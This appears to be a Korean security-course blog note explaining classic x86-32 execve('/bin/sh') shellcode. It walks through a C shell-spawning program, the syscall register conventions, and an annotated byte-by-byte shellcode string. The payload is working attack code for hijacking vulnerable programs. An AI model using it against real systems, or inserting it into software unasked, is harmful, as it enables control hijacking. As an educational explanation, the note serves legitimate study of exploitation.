일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- MLFQ
- Double free
- AINCAA
- 운영체제
- Race condition
- 게임 개발
- linear difference equation
- 언리얼엔진
- DP
- 유스케이스
- sampling theory
- dirty cow
- DSP
- TSet
- 유니티
- STCF
- MAC
- dtft
- Security
- 메카님
- frequency-domain spectrum analysis
- RBAC
- Unity #Indie Game
- Rr
- stride
- 배경 그림
- ret2libc
- 게임개발
- pdlc
- CTF
Archives
- Today
- Total
다양한 기록
Shellcode 본문
*** 교육 목적으로 작성된 게시글입니다. 정상적으로 보안 기법을 적용한 시스템엔 사용 불가능합니다. ***
#include <stddef.h>
void main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
쉘을 탈취하기 위해 사용하는 코드
시스템 콜 사용 시 인자 전달 법
eax: 시스템 콜 번호 (0x0000000b .. 11)
ebx: 첫번째 인자 ("bin/sh")
ecx: 두번째 인자 (인자 배열의 주소 .. name)
edx .. (환경 변수 없음 .. 0)
이후 int 0x80 해서 시스템 콜 요청
* x86-32 registers
EAX | EBX | ECX | EDX | ||||
AX | BX | CX | DX | ||||
AH | AL | BH | BL | CH | CL | DH | DL |
EBP | ESI | EDI | ESP | ||||
BP | SI | DI | SP |
64비트는 R 붙이면 됨
* Byte Ordering
Little-endian : LSB가 낮은 주소에
Big-endian : MSB가 낮은 주소에
const char code[] =
"\x31\xc0" // xorl %eax, %eax <- %eax = 0 .. 코드에 0 생기는 거 피하려고 xor
"\x50" // pushl %eax <- set end of string "/bin/sh"
"\x68""//sh" // pushl $0x68732f2f <- //sh
"\x68""/bin" // pushl $0x6e69622f <- /bin
"\x89\xe3" // movl %esp, %ebx <- set %ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp, %ecx <- set %ecx
"\x99" // cdq <- set %edx
"\xb0\x0b" // movl $0x0b, %al <- set %eax
"\xcd\x80" // int $0x80 <- invoke execve()
1. 스택에 0 push (/bin/sh을 끝내는 널 문자 취급)
2. /bin/sh push => 현재 esp는 "/bin//sh"을 가리킴
3. esp값 ebx에 설정 *%ebx 설정 완료
4. 스택에 0 push
5. 스택에 "/bin//sh"주소 삽입 => 현재 esp는 {"/bin//sh", NULL}을 가리킴 *%ecx 설정 완료
6. esp값 ecx에 설정
7. cdq로 edx 값 0으로 설정 (eax의 부호 비트가 0이면 0으로, 1이면 1로 채워짐) *%edx 설정 완료
8. eax에 11 넣기 *%eax 설정 완료
9. 시스템 콜 호출
도식화 시 위 이미지와 같다
'운영체제보안' 카테고리의 다른 글
Control Hijacking Attack (0) | 2024.12.05 |
---|---|
BoF - Countermeasures & 파훼법 (0) | 2024.12.04 |
Buffer Overflow Attack (0) | 2024.10.22 |
Set-UID Privileged Program (0) | 2024.10.19 |
Kernel / user mode, kernel mode (0) | 2024.10.14 |